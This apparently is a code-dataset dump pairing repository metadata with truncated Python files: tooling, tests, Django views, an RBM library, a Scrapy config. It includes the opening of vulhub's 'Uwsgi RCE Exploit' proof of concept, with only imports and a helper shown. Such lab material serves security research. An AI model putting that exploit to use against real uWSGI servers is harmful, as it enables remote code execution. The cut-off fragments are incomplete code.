SYNOPSIS
'''
desc2 = '''
DES... | 34.611111 | 124 | 0.726726 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,511 | 0.60634 |
a2408683ebb50640f78f65bb066c73360bbad5e1 | 21,441 | py | Python | pippin.py | harlowja/pippin | e101ad867ea9982457374281a2050c30020b10f4 | [
"Apache-2.0"
] | null | null | null | pippin.py | harlowja/pippin | e101ad867ea9982457374281a2050c30020b10f4 | [
"Apache-2.0"
] | null | null | null | pippin.py | harlowja/pippin | e101ad867ea9982457374281a2050c30020b10f4 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Copyright (C) 2015 Yahoo! Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2... | 37.223958 | 79 | 0.54671 | 11,402 | 0.531785 | 275 | 0.012826 | 302 | 0.014085 | 0 | 0 | 3,572 | 0.166597 |
a2431b76a7fd7273de98b3d8241bb7216ee7d296 | 2,182 | py | Python | python/src/main/python/pygw/query/aggregation_query_builder.py | radiant-maxar/geowave | 2d9f39d32e4621c8f5965a4dffff0623c1c03231 | [
"Apache-2.0"
] | 280 | 2017-06-14T01:26:19.000Z | 2022-03-28T15:45:23.000Z | python/src/main/python/pygw/query/aggregation_query_builder.py | radiant-maxar/geowave | 2d9f39d32e4621c8f5965a4dffff0623c1c03231 | [
"Apache-2.0"
] | 458 | 2017-06-12T20:00:59.000Z | 2022-03-31T04:41:59.000Z | python/src/main/python/pygw/query/aggregation_query_builder.py | radiant-maxar/geowave | 2d9f39d32e4621c8f5965a4dffff0623c1c03231 | [
"Apache-2.0"
] | 135 | 2017-06-12T20:39:34.000Z | 2022-03-15T13:42:30.000Z | #
# Copyright (c) 2013-2020 Contributors to the Eclipse Foundation
#
# See the NOTICE file distributed with this work for additional information regarding copyright
# ownership. All rights reserved. This program and the accompanying materials are made available
# under the terms of the Apache License, Version 2.0 whic... | 35.193548 | 120 | 0.651696 | 1,510 | 0.692026 | 0 | 0 | 0 | 0 | 0 | 0 | 1,442 | 0.660862 |
a243a526c6890fd80b3908d73d1ec8bf0226c2b2 | 6,059 | py | Python | tests/test_cells.py | nclarey/pyg-base | a7b90ea2ad4d740d8e7f8c4a7c9d341d36373862 | [
"MIT"
] | null | null | null | tests/test_cells.py | nclarey/pyg-base | a7b90ea2ad4d740d8e7f8c4a7c9d341d36373862 | [
"MIT"
] | null | null | null | tests/test_cells.py | nclarey/pyg-base | a7b90ea2ad4d740d8e7f8c4a7c9d341d36373862 | [
"MIT"
] | null | null | null | from pyg_base import acell, cell, cell_func, dictattr, dt, getargspec, passthru, add_, get_cache
from pyg_base._cell import cell_output, cell_item, cell_inputs, _updated
import pytest
from pyg_base import *
def test_cell():
c = cell(lambda a:a+1)
assert cell_output(c) == ['data']
with pytest.raises(TypeEr... | 29.70098 | 126 | 0.523519 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 478 | 0.078891 |
a244d716297448851950a6f197be289befd9e237 | 4,379 | py | Python | uwsgi/unacc/poc.py | nobgr/vulhub | b24a89459fbd98ba76881adb6d4e2fb376792863 | [
"MIT"
] | 9,681 | 2017-09-16T12:31:59.000Z | 2022-03-31T23:49:31.000Z | uwsgi/unacc/poc.py | dingafter/vulhub | 67547c4ca153980004ccaeab94f77bcc9952d764 | [
"MIT"
] | 180 | 2017-11-01T08:05:07.000Z | 2022-03-31T05:26:33.000Z | uwsgi/unacc/poc.py | dingafter/vulhub | 67547c4ca153980004ccaeab94f77bcc9952d764 | [
"MIT"
] | 3,399 | 2017-09-16T12:21:54.000Z | 2022-03-31T12:28:48.000Z | #!/usr/bin/python
# coding: utf-8
######################
# Uwsgi RCE Exploit
######################
# Author: [email protected]
# Created: 2017-7-18
# Last modified: 2018-1-30
# Note: Just for research purpose
import sys
import socket
import argparse
import requests
def sz(x):
s = hex(x if isinstance(x, int) else... | 30.2 | 106 | 0.570222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,358 | 0.309975 |
a2453fb1d06de4864cf98c020579a6af505d8bfa | 4,169 | py | Python | Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/openedx/core/djangoapps/dark_lang/views.py | osoco/better-ways-of-thinking-about-software | 83e70d23c873509e22362a09a10d3510e10f6992 | [
"MIT"
] | 3 | 2021-12-15T04:58:18.000Z | 2022-02-06T12:15:37.000Z | Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/openedx/core/djangoapps/dark_lang/views.py | osoco/better-ways-of-thinking-about-software | 83e70d23c873509e22362a09a10d3510e10f6992 | [
"MIT"
] | null | null | null | Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/openedx/core/djangoapps/dark_lang/views.py | osoco/better-ways-of-thinking-about-software | 83e70d23c873509e22362a09a10d3510e10f6992 | [
"MIT"
] | 1 | 2019-01-02T14:38:50.000Z | 2019-01-02T14:38:50.000Z | """
Views file for the Darklang Django App
"""
from django.contrib.auth.decorators import login_required
from django.http import Http404
from django.shortcuts import redirect
from django.template.loader import render_to_string
from django.utils.decorators import method_decorator
from django.utils.translation import L... | 36.893805 | 135 | 0.688894 | 3,308 | 0.793476 | 0 | 0 | 876 | 0.210122 | 0 | 0 | 1,293 | 0.310146 |
a2455b7d1f4c59b3f3fc10bc30bcb0f313e3156b | 13,480 | py | Python | pipenv/vendor/vistir/spin.py | erikkemperman/pipenv | 8707fe52571422ff5aa2905a2063fdf5ce14840b | [
"MIT"
] | 3 | 2020-06-04T05:22:33.000Z | 2020-09-23T19:44:02.000Z | pipenv/vendor/vistir/spin.py | erikkemperman/pipenv | 8707fe52571422ff5aa2905a2063fdf5ce14840b | [
"MIT"
] | 9 | 2019-12-05T00:49:12.000Z | 2021-09-08T01:31:25.000Z | pipenv/vendor/vistir/spin.py | erikkemperman/pipenv | 8707fe52571422ff5aa2905a2063fdf5ce14840b | [
"MIT"
] | 1 | 2019-06-04T10:25:26.000Z | 2019-06-04T10:25:26.000Z | # -*- coding=utf-8 -*-
import functools
import os
import signal
import sys
import threading
import time
import colorama
import cursor
import six
from .compat import to_native_string
from .termcolors import COLOR_MAP, COLORS, colored, DISABLE_COLORS
from io import StringIO
try:
import yaspin
except ImportError:
... | 33.120393 | 105 | 0.602819 | 12,530 | 0.929525 | 0 | 0 | 543 | 0.040282 | 0 | 0 | 2,288 | 0.169733 |
a24661a46dbbfae17cce472d5d44c7bd7360c84c | 621 | py | Python | book/book/settings.py | ChaosSoong/ScrapyDouban | e6a018a09e76f5f5506934e90b104091dfffe693 | [
"MIT"
] | 1 | 2021-04-12T13:37:48.000Z | 2021-04-12T13:37:48.000Z | book/book/settings.py | ChaosSoong/ScrapyDouban | e6a018a09e76f5f5506934e90b104091dfffe693 | [
"MIT"
] | null | null | null | book/book/settings.py | ChaosSoong/ScrapyDouban | e6a018a09e76f5f5506934e90b104091dfffe693 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
BOT_NAME = 'book'
SPIDER_MODULES = ['book.spiders']
NEWSPIDER_MODULE = 'book.spiders'
IMAGES_STORE = '../storage/book/'
COOKIES_ENABLED = True
COOKIE_DEBUG = True
LOG_LEVEL = 'INFO'
# LOG_LEVEL = 'DEBUG'
CONCURRENT_REQUESTS = 100
CONCURRENT_REQUESTS_PER_DOMAIN = 1000
U... | 20.7 | 79 | 0.705314 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 332 | 0.534622 |
a246d1c2c2b92da01d8058201ebb138463ac4efe | 105 | py | Python | tests/pyxl_original/test_eof.py | adrienbrunet/mixt | d725ec752ce430d135e993bc988bfdf2b8457c4b | [
"MIT"
] | 27 | 2018-06-04T19:11:42.000Z | 2022-02-23T22:46:39.000Z | tests/pyxl_original/test_eof.py | adrienbrunet/mixt | d725ec752ce430d135e993bc988bfdf2b8457c4b | [
"MIT"
] | 7 | 2018-06-09T15:27:51.000Z | 2021-03-11T20:00:35.000Z | tests/pyxl_original/test_eof.py | adrienbrunet/mixt | d725ec752ce430d135e993bc988bfdf2b8457c4b | [
"MIT"
] | 3 | 2018-07-29T10:20:02.000Z | 2021-11-18T19:55:07.000Z | # coding: mixt
from mixt import html
def test():
assert str(<Fragment>'''</Fragment>) == """'''"""
| 15 | 53 | 0.571429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 39 | 0.371429 |
a247922adf11769c636098f78e98f1b9b8df3ed1 | 6,325 | py | Python | text_analysis/analysis_classify/a01_basic_statistics.py | yongzhuo/Text-Analysis | 6f9f79fdb1e6ea1c5559b59558cee641940f85d2 | [
"Apache-2.0"
] | 3 | 2021-11-19T07:02:53.000Z | 2021-12-15T03:15:15.000Z | text_analysis/analysis_classify/a01_basic_statistics.py | yongzhuo/Text-Analysis | 6f9f79fdb1e6ea1c5559b59558cee641940f85d2 | [
"Apache-2.0"
] | null | null | null | text_analysis/analysis_classify/a01_basic_statistics.py | yongzhuo/Text-Analysis | 6f9f79fdb1e6ea1c5559b59558cee641940f85d2 | [
"Apache-2.0"
] | null | null | null | # !/usr/bin/python
# -*- coding: utf-8 -*-
# @time : 2020/5/27 21:18
# @author : Mo
# @function: 统计
from text_analysis.utils.text_common import txt_read, txt_write, load_json, save_json, get_all_dirs_files
from text_analysis.conf.path_log import logger
from collections import Counter
from typing import List, Dict... | 33.115183 | 105 | 0.61502 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,791 | 0.415513 |
a2480500111770e0985c6d623537477de897c591 | 1,689 | py | Python | components/workstation.py | cqzhao/FooProxy | 5953bcd46388135e0c951ffbcd63dc782ff8bfad | [
"MIT"
] | null | null | null | components/workstation.py | cqzhao/FooProxy | 5953bcd46388135e0c951ffbcd63dc782ff8bfad | [
"MIT"
] | null | null | null | components/workstation.py | cqzhao/FooProxy | 5953bcd46388135e0c951ffbcd63dc782ff8bfad | [
"MIT"
] | null | null | null | #coding:utf-8
"""
@author : linkin
@email : [email protected]
@date : 2018-10-04
"""
import logging
from APIserver.apiserver import app
from components.collector import Collector
from components.validator import Validator
from components.detector import Detector
from components.scanner ... | 24.838235 | 70 | 0.625222 | 1,244 | 0.680898 | 0 | 0 | 0 | 0 | 0 | 0 | 430 | 0.235359 |
a2482ec97e97d9e65a4d8d49711236d2566859ca | 30,410 | py | Python | ml/rbms/core.py | torfjelde/ml | 6ae3a5543663a7adfe3b6f1c596093c123fa2b88 | [
"MIT"
] | null | null | null | ml/rbms/core.py | torfjelde/ml | 6ae3a5543663a7adfe3b6f1c596093c123fa2b88 | [
"MIT"
] | null | null | null | ml/rbms/core.py | torfjelde/ml | 6ae3a5543663a7adfe3b6f1c596093c123fa2b88 | [
"MIT"
] | null | null | null | import abc
import logging
from enum import Enum
from tqdm import tqdm
from ml import np
from ml.functions import sigmoid, dot_batch, bernoulli_from_probas
_log = logging.getLogger("ml")
class UnitType(Enum):
GAUSSIAN = 1
BERNOULLI = 2
class RBMSampler(object):
"""Sampler used in training of RBMs for e... | 36.638554 | 135 | 0.529037 | 30,210 | 0.993423 | 0 | 0 | 1,080 | 0.035515 | 0 | 0 | 9,876 | 0.324762 |
a248fa91871a4d64d360baf9357e2574f6ec13d4 | 218 | py | Python | Ports.py | bullgom/pysnn2 | dad5ae26b029afd5c5bf76fe141249b0f7b7a36c | [
"MIT"
] | null | null | null | Ports.py | bullgom/pysnn2 | dad5ae26b029afd5c5bf76fe141249b0f7b7a36c | [
"MIT"
] | null | null | null | Ports.py | bullgom/pysnn2 | dad5ae26b029afd5c5bf76fe141249b0f7b7a36c | [
"MIT"
] | null | null | null | AP = "AP"
BP = "BP"
ARRIVE = "ARRIVE"
NEUROMODULATORS = "NEUROMODULATORS"
TARGET = "TARGET"
OBSERVE = "OBSERVE"
SET_FREQUENCY = "SET_FREQUENCY"
DEACTIVATE = "DEACTIVATE"
ENCODE_INFORMATION = "ENCODE_INFORMATION"
| 13.625 | 41 | 0.724771 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 97 | 0.444954 |
a2490cedb898fffcdd522f5198f098b39d8227c4 | 2,798 | py | Python | src/oolongt/cli/cli.py | schmamps/textteaser | e948ac6c0a4a4a44c7011206d7df236529d7813d | [
"MIT"
] | 2 | 2020-02-18T09:13:13.000Z | 2021-06-12T13:16:13.000Z | src/oolongt/cli/cli.py | schmamps/textteaser | e948ac6c0a4a4a44c7011206d7df236529d7813d | [
"MIT"
] | null | null | null | src/oolongt/cli/cli.py | schmamps/textteaser | e948ac6c0a4a4a44c7011206d7df236529d7813d | [
"MIT"
] | 1 | 2019-05-05T14:43:53.000Z | 2019-05-05T14:43:53.000Z | """Command line interface for OolongT"""
import argparse
import os
import sys
import typing
from textwrap import wrap as wrap_text
from ..constants import DEFAULT_LENGTH
from ..content import Document
from ..files import get_document
from ..string import simplify
from ..typings import OptionalString, StringList
DEFAU... | 27.98 | 76 | 0.641172 | 0 | 0 | 613 | 0.219085 | 0 | 0 | 0 | 0 | 1,125 | 0.402073 |
a249698e484130d9327ab696efff125ba53413ba | 15,123 | py | Python | chotgun.py | hmatsuya/chotgun | 0cee1b4ae385c57cf094376dee0ad450e308aa0a | [
"MIT"
] | 1 | 2021-11-04T14:26:10.000Z | 2021-11-04T14:26:10.000Z | chotgun.py | hmatsuya/chotgun | 0cee1b4ae385c57cf094376dee0ad450e308aa0a | [
"MIT"
] | 1 | 2020-08-07T06:58:09.000Z | 2020-08-13T06:23:20.000Z | chotgun.py | hmatsuya/chotgun | 0cee1b4ae385c57cf094376dee0ad450e308aa0a | [
"MIT"
] | null | null | null | import sys
import os.path
import threading
import queue
import logging
import random
import copy
from paramiko.client import SSHClient
import paramiko
import re
import time
import os
class USIEngine:
def __init__(self, name, host, engine_path,
nodes=None, multiPV=1, threads=1,
delay=0, dela... | 35.251748 | 101 | 0.511803 | 14,741 | 0.97474 | 0 | 0 | 0 | 0 | 0 | 0 | 3,661 | 0.242082 |
a2497a32646aebe6dad4bb729f7554cf9a01a99e | 9,051 | py | Python | source/base/utils.py | phygitalism/points2surf | c8e6d47062fc068802e179a37427981c8e10b128 | [
"MIT"
] | 4 | 2021-11-25T19:28:16.000Z | 2022-02-27T19:13:59.000Z | source/base/utils.py | phygitalism/points2surf | c8e6d47062fc068802e179a37427981c8e10b128 | [
"MIT"
] | null | null | null | source/base/utils.py | phygitalism/points2surf | c8e6d47062fc068802e179a37427981c8e10b128 | [
"MIT"
] | 1 | 2020-09-10T01:05:03.000Z | 2020-09-10T01:05:03.000Z | import numpy as np
import os
from source.base import utils_mp
from source.base import file_utils
def cartesian_dist(vec_x: np.array, vec_y: np.array, axis=1) -> np.ndarray:
dist = np.linalg.norm(vec_x - vec_y, axis=axis)
return dist
def batch_quat_to_rotmat(q, out=None):
"""
quaternion a + bi + cj ... | 40.226667 | 108 | 0.667772 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 950 | 0.104961 |
a24a44290243b8973c58ac83bd9c32d62a1b7331 | 194 | py | Python | contact/views.py | rsHalford/xhalford-django | 970875bbcd23782af15f24361ec3bbda0230ee81 | [
"MIT"
] | 2 | 2020-11-02T22:04:01.000Z | 2020-11-14T14:45:45.000Z | contact/views.py | rsHalford/xhalford-django | 970875bbcd23782af15f24361ec3bbda0230ee81 | [
"MIT"
] | null | null | null | contact/views.py | rsHalford/xhalford-django | 970875bbcd23782af15f24361ec3bbda0230ee81 | [
"MIT"
] | null | null | null | from django.shortcuts import render
from django.views.generic import ListView
from contact.models import Profile
class Contact(ListView):
model = Profile
template_name = "contact.html"
| 24.25 | 41 | 0.78866 | 79 | 0.407216 | 0 | 0 | 0 | 0 | 0 | 0 | 14 | 0.072165 |
a24b77db8e7a819628a9ae74f4884a124de6d7df | 24,382 | py | Python | xbbo/surrogate/gaussian_process.py | zhanglei1172/bbobenchmark | 841bffdddc1320ac2676e378d20f8b176a7e6cf7 | [
"MIT"
] | 2 | 2021-09-06T02:06:22.000Z | 2021-12-09T10:46:56.000Z | xbbo/surrogate/gaussian_process.py | zhanglei1172/bbobenchmark | 841bffdddc1320ac2676e378d20f8b176a7e6cf7 | [
"MIT"
] | null | null | null | xbbo/surrogate/gaussian_process.py | zhanglei1172/bbobenchmark | 841bffdddc1320ac2676e378d20f8b176a7e6cf7 | [
"MIT"
] | null | null | null | from typing import List
import typing
from scipy import optimize
import sklearn
# from sklearn.gaussian_process import kernels
from sklearn.gaussian_process.kernels import Kernel, KernelOperator
# import torch
# from scipy.linalg import solve_triangular, cholesky
# from scipy import optimize, stats
import numpy as np
#... | 36.014771 | 103 | 0.56029 | 23,636 | 0.969006 | 0 | 0 | 769 | 0.031527 | 0 | 0 | 3,759 | 0.154108 |
a24baed065a08f05a3618b4b5c209c85239d1882 | 10,112 | py | Python | lib/training/tpu.py | learning-at-home/dalle | acf688eac206a6bcd543d56ddbb9dcf6bb72012b | [
"MIT"
] | null | null | null | lib/training/tpu.py | learning-at-home/dalle | acf688eac206a6bcd543d56ddbb9dcf6bb72012b | [
"MIT"
] | null | null | null | lib/training/tpu.py | learning-at-home/dalle | acf688eac206a6bcd543d56ddbb9dcf6bb72012b | [
"MIT"
] | null | null | null | import ctypes
import threading
from functools import partial
from contextlib import nullcontext
from copy import deepcopy
import multiprocessing as mp
from itertools import zip_longest
from typing import Iterable
import torch
import torch.nn as nn
import torch.utils.data
import torch_xla.core.xla_model as xm
import to... | 43.586207 | 128 | 0.65714 | 9,603 | 0.949664 | 74 | 0.007318 | 0 | 0 | 0 | 0 | 1,542 | 0.152492 |
a24d8145f2c40687cee72c78a8cd67399721ce08 | 1,819 | py | Python | code/evaluate.py | xuyangcao/SegWithDistMap | 9638aaacf15dba6c2f907e5e82f8ed37a786bc96 | [
"Apache-2.0"
] | 3 | 2021-01-29T16:03:39.000Z | 2021-12-16T04:40:28.000Z | code/evaluate.py | xuyangcao/SegWithDistMap | 9638aaacf15dba6c2f907e5e82f8ed37a786bc96 | [
"Apache-2.0"
] | null | null | null | code/evaluate.py | xuyangcao/SegWithDistMap | 9638aaacf15dba6c2f907e5e82f8ed37a786bc96 | [
"Apache-2.0"
] | 2 | 2019-12-20T13:15:08.000Z | 2020-01-02T15:49:16.000Z | import numpy as np
import os
import argparse
import tqdm
import pandas as pd
import SimpleITK as sitk
from medpy import metric
def get_args():
parser = argparse.ArgumentParser()
parser.add_argument('--file_path', type=str, default='./results/abus_roi/0108_dice_1/')
args = parser.parse_args()
# save... | 29.33871 | 91 | 0.630566 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 164 | 0.090159 |
a2513b451ec5004528a7e01bf0d9f3485e85254c | 64 | py | Python | integraph/core/__init__.py | nleguillarme/inteGraph | 65faae4b7c16977094c387f6359980a4e99f94cb | [
"Apache-2.0"
] | null | null | null | integraph/core/__init__.py | nleguillarme/inteGraph | 65faae4b7c16977094c387f6359980a4e99f94cb | [
"Apache-2.0"
] | null | null | null | integraph/core/__init__.py | nleguillarme/inteGraph | 65faae4b7c16977094c387f6359980a4e99f94cb | [
"Apache-2.0"
] | null | null | null | from .taxid import TaxId
from .uri import URIManager, URIMapper
| 21.333333 | 38 | 0.8125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
a253f668fac9338a8b6bc1ab3d03ebaeb0518c82 | 4,170 | py | Python | unit_tests/test_swift_storage_context.py | coreycb/charm-swift-storage | c31991ab198d7b51b9a4f5744a1fcc1fef0bc1ef | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | unit_tests/test_swift_storage_context.py | coreycb/charm-swift-storage | c31991ab198d7b51b9a4f5744a1fcc1fef0bc1ef | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | unit_tests/test_swift_storage_context.py | coreycb/charm-swift-storage | c31991ab198d7b51b9a4f5744a1fcc1fef0bc1ef | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | # Copyright 2016 Canonical Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... | 38.971963 | 76 | 0.664508 | 3,318 | 0.795683 | 0 | 0 | 0 | 0 | 0 | 0 | 1,390 | 0.333333 |
a2567fe63fe79e43c35228a0d120b319e330a8d1 | 5,956 | py | Python | spiketoolkit/validation/quality_metric_classes/noise_overlap.py | ferchaure/spiketoolkit | 0b1deea724f742797181bb4fe57270fdd84951c1 | [
"MIT"
] | null | null | null | spiketoolkit/validation/quality_metric_classes/noise_overlap.py | ferchaure/spiketoolkit | 0b1deea724f742797181bb4fe57270fdd84951c1 | [
"MIT"
] | null | null | null | spiketoolkit/validation/quality_metric_classes/noise_overlap.py | ferchaure/spiketoolkit | 0b1deea724f742797181bb4fe57270fdd84951c1 | [
"MIT"
] | null | null | null | import numpy as np
from copy import copy
from .utils.thresholdcurator import ThresholdCurator
from .quality_metric import QualityMetric
import spiketoolkit as st
import spikemetrics.metrics as metrics
from spikemetrics.utils import printProgressBar
from collections import OrderedDict
from sklearn.neighbors import Neare... | 45.121212 | 121 | 0.631632 | 5,193 | 0.871894 | 0 | 0 | 0 | 0 | 0 | 0 | 266 | 0.044661 |
a256bf58e2a1c3f65c6795ace24758ddfe629807 | 1,397 | py | Python | lib/spider/NewsSpider1.py | ardegra/standard.api | 36856acf3820cfc33def26f9737d6a682fba94ee | [
"MIT"
] | null | null | null | lib/spider/NewsSpider1.py | ardegra/standard.api | 36856acf3820cfc33def26f9737d6a682fba94ee | [
"MIT"
] | null | null | null | lib/spider/NewsSpider1.py | ardegra/standard.api | 36856acf3820cfc33def26f9737d6a682fba94ee | [
"MIT"
] | null | null | null | import json
import pymongo
import falcon
from bson import json_util
class NewsSpider1:
def __init__(self, **kwargs):
self.name = kwargs.get("name", None)
self.country = kwargs.get("country", None)
self.category = kwargs.get("category", None)
self.entryDateParser = kwargs.get("entryDateParser", Non... | 32.488372 | 68 | 0.680029 | 1,326 | 0.949177 | 0 | 0 | 0 | 0 | 0 | 0 | 309 | 0.221188 |
a2575cc36e877edd1ee71f8adfedc976cf489a26 | 4,152 | py | Python | core/global_registration.py | MichaelArbel/OT-sync | 0b8308375b0064a9ada3f8741f04551a3ba29b63 | [
"BSD-3-Clause"
] | 2 | 2021-04-04T22:49:06.000Z | 2021-08-09T12:19:30.000Z | core/global_registration.py | hrheydarian/OT-sync | 0b8308375b0064a9ada3f8741f04551a3ba29b63 | [
"BSD-3-Clause"
] | null | null | null | core/global_registration.py | hrheydarian/OT-sync | 0b8308375b0064a9ada3f8741f04551a3ba29b63 | [
"BSD-3-Clause"
] | 1 | 2021-08-09T12:19:03.000Z | 2021-08-09T12:19:03.000Z | # Open3D: www.open3d.org
# The MIT License (MIT)
# See license file or visit www.open3d.org for details
# examples/Python/Advanced/global_registration.py
import open3d as o3d
import numpy as np
import copy
def draw_registration_result(source, target, transformation):
source_temp = copy.deepcopy(source)
targ... | 44.170213 | 80 | 0.701108 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 747 | 0.179913 |
a257f947f9d83091dd668f62bb9fa0c75a8eafcd | 2,698 | py | Python | src/get_test_results.py | williamdjones/deep_protein_binding | 10b00835024702b6d0e73092c777fed267215ca7 | [
"MIT"
] | null | null | null | src/get_test_results.py | williamdjones/deep_protein_binding | 10b00835024702b6d0e73092c777fed267215ca7 | [
"MIT"
] | null | null | null | src/get_test_results.py | williamdjones/deep_protein_binding | 10b00835024702b6d0e73092c777fed267215ca7 | [
"MIT"
] | null | null | null | import os
import argparse
import pandas as pd
import numpy as np
from sklearn.metrics import f1_score, r2_score
from tqdm import tqdm
parser = argparse.ArgumentParser()
parser.add_argument("--exp_dir", type=str, help="path to directory containing test results",
default="/scratch/wdjo224/deep_protei... | 46.517241 | 118 | 0.636027 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 676 | 0.250556 |
a2595f5495569bfb18a30651ccf4bc3e61dec9b6 | 35 | py | Python | analysis/Leo/scripts/__init__.py | data301-2020-winter2/course-project-group_1039 | 26d661a543ce9dcea61f579f9edbcde88543e7c3 | [
"MIT"
] | 1 | 2021-02-09T02:13:23.000Z | 2021-02-09T02:13:23.000Z | analysis/Leo/scripts/__init__.py | data301-2020-winter2/course-project-group_1039 | 26d661a543ce9dcea61f579f9edbcde88543e7c3 | [
"MIT"
] | 31 | 2021-02-02T17:03:39.000Z | 2021-04-13T03:22:16.000Z | analysis/Leo/scripts/__init__.py | data301-2020-winter2/course-project-group_1039 | 26d661a543ce9dcea61f579f9edbcde88543e7c3 | [
"MIT"
] | 1 | 2021-03-14T05:56:16.000Z | 2021-03-14T05:56:16.000Z | import scripts.project_functions
| 8.75 | 32 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
a25a29dc91019ce3281b5fcc6f7a268059eba344 | 8,278 | py | Python | align/pnr/write_constraint.py | ALIGN-analoglayout/ALIGN-public | 80c25a2ac282cbfa199bd21ad85277e9376aa45d | [
"BSD-3-Clause"
] | 119 | 2019-05-14T18:44:34.000Z | 2022-03-17T01:01:02.000Z | align/pnr/write_constraint.py | ALIGN-analoglayout/ALIGN-public | 80c25a2ac282cbfa199bd21ad85277e9376aa45d | [
"BSD-3-Clause"
] | 717 | 2019-04-03T15:36:35.000Z | 2022-03-31T21:56:47.000Z | align/pnr/write_constraint.py | ALIGN-analoglayout/ALIGN-public | 80c25a2ac282cbfa199bd21ad85277e9376aa45d | [
"BSD-3-Clause"
] | 34 | 2019-04-01T21:21:27.000Z | 2022-03-21T09:46:57.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Jan 13 14:50:24 2021
@author: kunal001
"""
import pathlib
import pprint
import json
import logging
from ..schema import constraint
logger = logging.getLogger(__name__)
pp = pprint.PrettyPrinter(indent=4)
class PnRConstraintWriter:
def __init__(sel... | 42.451282 | 105 | 0.439841 | 8,002 | 0.966659 | 0 | 0 | 0 | 0 | 0 | 0 | 2,547 | 0.307683 |
a25a329785c9f77e159427cefe14e85a15f3128c | 157 | py | Python | ch02/number_eight.py | joy-joy/pcc | 6c7d166a1694a2c3f371307aea6c4bdf340c4c42 | [
"MIT"
] | null | null | null | ch02/number_eight.py | joy-joy/pcc | 6c7d166a1694a2c3f371307aea6c4bdf340c4c42 | [
"MIT"
] | null | null | null | ch02/number_eight.py | joy-joy/pcc | 6c7d166a1694a2c3f371307aea6c4bdf340c4c42 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Tue Jan 9 00:00:43 2018
@author: joy
"""
print(5 + 3)
print(9 - 1)
print(2 * 4)
print(16//2) | 13.083333 | 35 | 0.573248 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 102 | 0.649682 |
a25a47c51ab943aef82605acc3a660cf6ca5f070 | 7,042 | py | Python | tests/test_git_factory.py | kostya0shift/SyncToGit | b3f2ec7e1167a0b032d4d40726de625d31a02354 | [
"MIT"
] | 1 | 2015-03-14T15:33:12.000Z | 2015-03-14T15:33:12.000Z | tests/test_git_factory.py | kostya0shift/SyncToGit | b3f2ec7e1167a0b032d4d40726de625d31a02354 | [
"MIT"
] | null | null | null | tests/test_git_factory.py | kostya0shift/SyncToGit | b3f2ec7e1167a0b032d4d40726de625d31a02354 | [
"MIT"
] | null | null | null | import os
from contextlib import ExitStack
from pathlib import Path
import pytest
from synctogit.git_factory import GitError, git_factory
def remotes_dump(remote_name, remote):
# fmt: off
return (
"%(remote_name)s\t%(remote)s (fetch)\n"
"%(remote_name)s\t%(remote)s (push)"
) % locals()
... | 29.965957 | 86 | 0.626527 | 0 | 0 | 0 | 0 | 5,642 | 0.801193 | 0 | 0 | 2,042 | 0.289974 |
a25ad39526f4933af2df581028f2688cffce6933 | 2,117 | py | Python | pychron/fractional_loss_calculator.py | ASUPychron/pychron | dfe551bdeb4ff8b8ba5cdea0edab336025e8cc76 | [
"Apache-2.0"
] | 31 | 2016-03-07T02:38:17.000Z | 2022-02-14T18:23:43.000Z | pychron/fractional_loss_calculator.py | ASUPychron/pychron | dfe551bdeb4ff8b8ba5cdea0edab336025e8cc76 | [
"Apache-2.0"
] | 1,626 | 2015-01-07T04:52:35.000Z | 2022-03-25T19:15:59.000Z | pychron/fractional_loss_calculator.py | UIllinoisHALPychron/pychron | f21b79f4592a9fb9dc9a4cb2e4e943a3885ededc | [
"Apache-2.0"
] | 26 | 2015-05-23T00:10:06.000Z | 2022-03-07T16:51:57.000Z | # ===============================================================================
# Copyright 2019 ross
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICE... | 34.145161 | 82 | 0.616911 | 958 | 0.452527 | 0 | 0 | 186 | 0.08786 | 0 | 0 | 867 | 0.409542 |
a25bd49134a1f86571250e2c3fa2596b40823392 | 1,043 | py | Python | chatrooms/mixer/thread.py | Dogeek/ChatAggregator | c1cf700e2529d6bb78ce7e4850c532ef55841d85 | [
"MIT"
] | 3 | 2019-11-17T19:31:08.000Z | 2020-12-07T00:47:22.000Z | chatrooms/mixer/thread.py | Dogeek/ChatAggregator | c1cf700e2529d6bb78ce7e4850c532ef55841d85 | [
"MIT"
] | 16 | 2019-11-17T19:48:02.000Z | 2019-11-24T02:49:44.000Z | chatrooms/mixer/thread.py | Dogeek/ChatAggregator | c1cf700e2529d6bb78ce7e4850c532ef55841d85 | [
"MIT"
